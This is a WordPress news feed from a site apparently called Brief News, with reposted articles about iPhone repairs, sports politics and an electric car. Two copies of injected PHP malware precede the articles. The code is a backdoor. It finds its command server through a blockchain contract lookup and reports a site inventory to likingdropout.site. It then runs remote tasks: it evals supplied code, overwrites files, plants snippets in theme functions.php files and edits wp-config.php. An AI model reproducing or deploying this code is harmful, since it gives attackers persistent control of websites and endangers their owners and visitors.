// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Logic – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 01 Sep 2018 09:14:46 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Logic – Brief News https://briefnews.eu 32 32 Apple will repair defective iPhone 8 logic boards for free https://briefnews.eu/apple-will-repair-defective-iphone-8-logic-boards-for-free/ https://briefnews.eu/apple-will-repair-defective-iphone-8-logic-boards-for-free/#respond Sat, 01 Sep 2018 09:14:46 +0000 http://briefnews.eu/apple-will-repair-defective-iphone-8-logic-boards-for-free/

We haven’t seen reports of widespread problems with the iPhone 8, but Apple revealed late Friday that it’s opening a Logic Board Replacement Program. According to the company “a very small percentage” of phones sold between September 2017 and March 2018 — the first six months they were on sale — have a manufacturing defect that can lead to restarts, freezes or a failure to start. Of course, when you sell as many phones as Apple does, even a small percentage can add up very quickly, as we’ve seen with previous iPhone flaws like the “no service” iPhone 7 bug or iPhone 6 Plus “touch disease.”

This does not apply to the iPhone 8 Plus or any other model, and owners of devices purchased during that period can hit Apple’s website to check if their device is impacted — if it is, then Apple will replace the phone for free (FYI: physical damage like a cracked screen will need to be fixed first, and that could cost you). If you’d rather wait, then the replacement program will be in force for three years from the first retail sale of a device, and does not extend its warranty.

Via: 9to5Mac, MacRumors

Source: Apple

]]> https://briefnews.eu/apple-will-repair-defective-iphone-8-logic-boards-for-free/feed/ 0 iFixit’s iPhone X teardown finds two battery cells and an “unprecedented” logic board https://briefnews.eu/ifixits-iphone-x-teardown-finds-two-battery-cells-and-an-unprecedented-logic-board/ https://briefnews.eu/ifixits-iphone-x-teardown-finds-two-battery-cells-and-an-unprecedented-logic-board/#respond Sun, 05 Nov 2017 01:59:39 +0000 http://briefnews.eu/ifixits-iphone-x-teardown-finds-two-battery-cells-and-an-unprecedented-logic-board/

Enlarge (credit: iFixit)

With the launch of every new iPhone comes an accompanying teardown from iFixit uncovering exactly what’s inside of Apple’s latest device. The iPhone X is no exception, as the popular gadget repair site pried open the much-anticipated handset shortly after it went on sale on Friday.

The teardown reveals a phone that has been overhauled on the inside nearly as much as it has on the outside. The most immediately noticeable quirk is how Apple has laid out the iPhone X’s batteries, which continue to dominate how the rest of the internals are constructed. Namely, the company has planted two cells into the device—a first for any iPhone—in an “L-shaped” configuration.

As iFixit notes, though, Apple seems to have doubled up in order to be flexible with how it could allocate space for the rest of the device’s components, not to explicitly beef up the iPhone X’s overall battery power. The battery capacity here is 2,716mAh, which is slightly larger than the 2,691mAh unit in the iPhone 8 Plus despite the former being about a half-inch shorter. Still, the X’s 5.8-inch display appears to have taken its toll on overall battery life—our iPhone X review found the device to fall well short of the 8 Plus in terms of longevity, albeit it’s still decent on the whole.

Read 4 remaining paragraphs | Comments

Ars Technica

]]> https://briefnews.eu/ifixits-iphone-x-teardown-finds-two-battery-cells-and-an-unprecedented-logic-board/feed/ 0 The Insidious Logic of ‘Stick to Sports’ https://briefnews.eu/the-insidious-logic-of-stick-to-sports/ https://briefnews.eu/the-insidious-logic-of-stick-to-sports/#respond Mon, 02 Oct 2017 18:46:48 +0000 http://briefnews.eu/the-insidious-logic-of-stick-to-sports/ When Donald Trump spoke recently against the NFL players who have been kneeling during the national anthem, he was embracing a well-established tradition of opposition to the civil-rights protests of black athletes. During the 1960s, white sportswriters, politicians, and fans widely demanded that athlete-activists like Muhammad Ali, Jim Brown, Bill Russell, and John Carlos “stick to sports.” Though the current generation of sportswriters has a broader range of perspectives on this subject, there are still politicians, commentators, and fans who criticize contemporary black athletes like Colin Kaepernick and LeBron James for stating their opinions on topics beyond sports.

Trump’s “stick to sports” message also invokes a conservative argument that predates the civil-rights movement, one that focuses as much on preserving a national system of economic and social inequality as it does on maintaining white supremacy. This argument dates back to the emergence of organized sports as a commercial activity in the mid-19th-century United States. It presents sports as increasingly important to the national culture but nevertheless distinct from the rest of Americans’ economic, religious, and political lives.

This shunting of sports to the side of “real life” has numerous implications, most of which reinforce the cultural status quo in American society. It has led to the characterization of sporting events as a kind of social safety valve through which fans can vent their frustrations in a supposedly contained and harmless manner. Such compartmentalization has also denigrated professional sports as work that is not to be taken seriously by respectable citizens. The integration of this idea into American media over the past century and a half has created tremendous financial and political benefits for the nation’s sports industries and their ancillary businesses, while diminishing the moral and political credibility of celebrity athletes and the fans who support them.

Professionalization of sports mostly began in the U.S. after the Civil War. As sports expanded from a leisure activity into its own industry, its growth was hampered by Americans’ traditional suspicions of corruption in entertainment businesses. An 1877 gambling scandal in baseball’s brand-new National League affirmed these public anxieties. In response, teams gradually developed new marketing strategies to justify the civic benefits of their businesses. Local newspapers partnered with their city’s teams to promote the democratizing potential of professional sports: the benefits of what historians Harold Seymour and Dorothy Seymour Mills have described as “a very good cross section of the American population” intermingling in the stands.

This message doesn’t appear to have resonated with readers, because soon the press progressed to an argument that focused on sports’ value as an instrument for relieving the frustrations of its spectators. (By 1887, for instance, The New York Times was presenting the concept of baseball as a release for the social pressures of industrial society.) As the reporter H. Addington Bruce later put it in his 1913 article “Baseball and the National Life” for The Outlook:

Baseball, then, from the spectator’s standpoint, is to be regarded as a means of catharsis … a harmless outlet for pent-up emotions, which unless thus gaining expression, might discharge themselves in a dangerous way.

From this perspective, the game became less a means of integrating people into corporate America than a venue for escaping from it.

This message aligned with the interests of the nation’s elite families and educational institutions, which were simultaneously promoting the importance of a culture of amateurism that divorced sports from business. Professional athletics became taboo in these communities. In 1893, Walter Camp, a Yale graduate and the nation’s leading popularizer of football, warned:

A gentleman never competes for money, directly or indirectly. Make no mistake about this. No matter how winding the road may be that eventually brings the sovereign into the pocket, it is the price of what should be dearer to you than anything else—your honor.

Promoting sports as distinct from—and even as an antidote to—work benefitted owners of professional sports teams in a variety of ways. It freed them to exploit their employees on the basis of disreputability; since most Americans did not consider playing games real work, those who chose to earn a living in that way were widely viewed as inherently unworthy. In 1879, the National League introduced the reserve clause, which allowed teams to retain their rights to a player even after his contract expired, unilaterally terminate his contract, or assign him to another team without his consent. The League justified this unprecedented degree of control over its labor force as a way to protect the game from the dissolute habits of its players.

The next year, owners published an “Address to the Players,” which further instituted a series of fines for games missed due to injuries, “drunkenness or bummerism,” and proclaimed that “earnest, deserving” men would be duly rewarded, while “the player of morally weak tendencies” would be surrounded by “wholesome restraints.” Players who opposed these policies were either forced to submit or evicted from the game, and earned little sympathy from fans. In part, this lack of support occurred because prevailing views about professional athletes had led customers to believe that the players, who actually tended to come from families of skilled laborers at the upper levels of the working classes, were members of the lowest ranks of white society.

The widespread perception of professional sport as a game rather than a business also enabled Major League Baseball owners to procure unique legal protections for their financial interests. In its 1922 decision Federal Baseball Club v. National League, the Supreme Court determined that restrictions imposed by Congress in the Sherman Anti-Trust Act did not apply to professional baseball. In his majority opinion, Justice Oliver Wendell Holmes argued that this multimillion-dollar business was not interstate commerce, and indeed “would not be called trade of commerce [of any kind] in the commonly accepted use of those words.” This decision remains in effect nearly a century later, allowing the league to control player movement and franchise locations to an extent unmatched in any other contemporary American business.

Developments over the last half-century, particularly the rise of free agency, have mitigated the power of team owners. Yet the cultural authority of this 150-year-old marketing strategy proclaiming sports as an escape from rather than a part of U.S. corporate culture remains largely intact. Fans perceive professional athletes as overpaid—a claim that many economists dispute—but hardly flinch when owners extract public funding to replace perfectly functional stadiums with new facilities. They criticize player protests that bring politics into sporting arenas but say little when professional sports teams take money from the Department of Defense to produce lavishly patriotic pregame ceremonies.

Such disparate standards for judging the behaviors of players and management are a legacy of the way sports has long been viewed in this country. Much of the support for Trump’s diatribes against NFL and NBA players is similarly grounded in a pattern of marketing spin about the place of sports in American society that continues to have powerful economic and social ramifications. Trump’s message of “stick to sports” is racialized because it seeks to reinforce a systemic belief that the voices of predominantly white politicians have more inherent value that those of athletes of color. It is also a message of economic elitism, perpetuating the corporate arrogance of Gilded Age sports executives who deliberately embedded presumptions of their moral superiority over their players into the very structure of their industry. Though the recent backlash against the NFL may seem like a threat to that message, past events suggest that these ideas are deeply ingrained enough in American culture to ensure that players, rather than management, will continue to bear the brunt of the public’s animosity.

Business | The Atlantic

]]> https://briefnews.eu/the-insidious-logic-of-stick-to-sports/feed/ 0 This Infiniti EV defies all logic, but you will want it anyway https://briefnews.eu/this-infiniti-ev-defies-all-logic-but-you-will-want-it-anyway/ https://briefnews.eu/this-infiniti-ev-defies-all-logic-but-you-will-want-it-anyway/#respond Thu, 17 Aug 2017 13:25:31 +0000 http://briefnews.eu/this-infiniti-ev-defies-all-logic-but-you-will-want-it-anyway/

We rarely buy cars based on logic, it’s usually about the emotional reaction to a vehicle. How it looks, how it drives and the way it makes you feel when you’re seen behind the wheel often seals the deal. Sometimes, though, cars are thrust upon us. Your first car might be a hand-me-down or maybe financial issues limit your choice. Even if you end up with a vehicle that’s more bondo than burnished metal, we often still form an emotional connection with our wagon. Our most memorable cars (be they low-cost commuters or high-end supercars), make you feel something.

